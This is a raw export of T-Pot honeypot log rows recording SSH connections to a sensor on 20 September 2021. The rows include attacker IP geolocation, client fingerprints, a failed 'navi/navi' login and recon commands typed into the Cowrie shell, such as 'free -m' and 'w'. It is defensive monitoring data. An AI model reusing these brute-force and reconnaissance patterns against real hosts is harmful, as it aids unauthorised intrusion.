31798	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.232217+03	2021-09-20 15:00:02.636717+03	{"_id": "rAYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.232217Z", "@timestamp": "2021-09-20T11:47:56.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31802	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.568387+03	2021-09-20 15:00:02.641716+03	{"_id": "tQYIA3wBvYTbRNuEvUZ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "163.172.167.225", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07834720611572266, "duplicate": true, "timestamp": "2021-09-20T11:47:56.568387Z", "@timestamp": "2021-09-20T11:47:56.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31803	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.247581+03	2021-09-20 15:00:02.643717+03	{"_id": "twYIA3wBvYTbRNuEwUZk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:57.247581Z", "@timestamp": "2021-09-20T11:47:57.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31804	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.247039+03	2021-09-20 15:00:02.644717+03	{"_id": "ugYIA3wBvYTbRNuEwUZk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:57.247039Z", "@timestamp": "2021-09-20T11:47:57.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31805	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.982988+03	2021-09-20 15:00:02.646717+03	{"_id": "uAYIA3wBvYTbRNuEwUZk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.982988Z", "@timestamp": "2021-09-20T11:47:56.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31806	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.559598+03	2021-09-20 15:00:02.647717+03	{"_id": "uQYIA3wBvYTbRNuEwUZk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 23, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "163.172.167.225", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07638072967529297, "duplicate": true, "timestamp": "2021-09-20T11:47:57.559598Z", "@timestamp": "2021-09-20T11:47:57.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31807	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.710272+03	2021-09-20 15:00:02.648716+03	{"_id": "vAYIA3wBvYTbRNuEwUZk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:57.710272Z", "@timestamp": "2021-09-20T11:47:57.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31809	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.326455+03	2021-09-20 15:00:02.651717+03	{"_id": "wAYIA3wBvYTbRNuEwUZm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "163.172.167.225", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07951593399047852, "duplicate": true, "timestamp": "2021-09-20T11:47:57.326455Z", "@timestamp": "2021-09-20T11:47:57.326Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31810	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.710821+03	2021-09-20 15:00:02.653717+03	{"_id": "wQYIA3wBvYTbRNuEwUZm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:57.710821Z", "@timestamp": "2021-09-20T11:47:57.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31811	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.789487+03	2021-09-20 15:00:02.654718+03	{"_id": "wgYIA3wBvYTbRNuEwUZm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "163.172.167.225", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07930302619934082, "duplicate": true, "timestamp": "2021-09-20T11:47:57.789487Z", "@timestamp": "2021-09-20T11:47:57.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31812	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:47:39.580743+03	2021-09-20 15:00:02.655716+03	{"_id": "SgYIA3wBvYTbRNuEe0YL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:37068 (192.168.176.2:22) [session: 759614ff66fa]", "session": "759614ff66fa", "@version": "1", "protocol": "ssh", "src_port": 37068, "dest_port": 22, "timestamp": "2021-09-20T11:47:39.580743Z", "@timestamp": "2021-09-20T11:47:39.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31813	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:47:39.583802+03	2021-09-20 15:00:02.656717+03	{"_id": "SwYIA3wBvYTbRNuEe0YL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "759614ff66fa", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:39.583802Z", "@timestamp": "2021-09-20T11:47:39.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31834	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:51.593+03	2021-09-20 15:00:02.683716+03	{"_id": "aAYIA3wBvYTbRNuEqUbv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:55428 (192.168.176.2:22) [session: 8308bab0ed44]", "session": "8308bab0ed44", "@version": "1", "protocol": "ssh", "src_port": 55428, "dest_port": 22, "timestamp": "2021-09-20T11:47:51.593000Z", "@timestamp": "2021-09-20T11:47:51.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31814	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:47:39.768042+03	2021-09-20 15:00:02.658717+03	{"_id": "TAYIA3wBvYTbRNuEe0YL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "759614ff66fa", "@version": "1", "timestamp": "2021-09-20T11:47:39.768042Z", "@timestamp": "2021-09-20T11:47:39.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31815	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:47:39.767319+03	2021-09-20 15:00:02.659716+03	{"_id": "TQYIA3wBvYTbRNuEfEai", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 672600281515625, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37068, "dest_port": 22, "timestamp": "2021-09-20T11:47:39.767319Z", "@timestamp": "2021-09-20T11:47:39.767Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31816	96.78.175.36	109.199.241.180	Fatt	2021-09-20 14:47:39.767411+03	2021-09-20 15:00:02.660717+03	{"_id": "TwYIA3wBvYTbRNuEfUaj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37068, "dest_port": 22, "timestamp": "2021-09-20T11:47:39.767411", "@timestamp": "2021-09-20T11:47:39.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31817	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:47:40.614358+03	2021-09-20 15:00:02.662716+03	{"_id": "UQYIA3wBvYTbRNuEfkbz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [navi/navi] failed", "session": "759614ff66fa", "@version": "1", "password": "navi", "username": "navi", "timestamp": "2021-09-20T11:47:40.614358Z", "@timestamp": "2021-09-20T11:47:40.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31818	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:47:41.803207+03	2021-09-20 15:00:02.663716+03	{"_id": "UwYIA3wBvYTbRNuEgkbb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "759614ff66fa", "@version": "1", "duration": 2.2197470664978027, "timestamp": "2021-09-20T11:47:41.803207Z", "@timestamp": "2021-09-20T11:47:41.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31819	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:51.19221+03	2021-09-20 15:00:02.664717+03	{"_id": "WAYIA3wBvYTbRNuEqEah", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55358, "timestamp": "2021-09-20T11:47:51.192210", "@timestamp": "2021-09-20T11:47:51.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
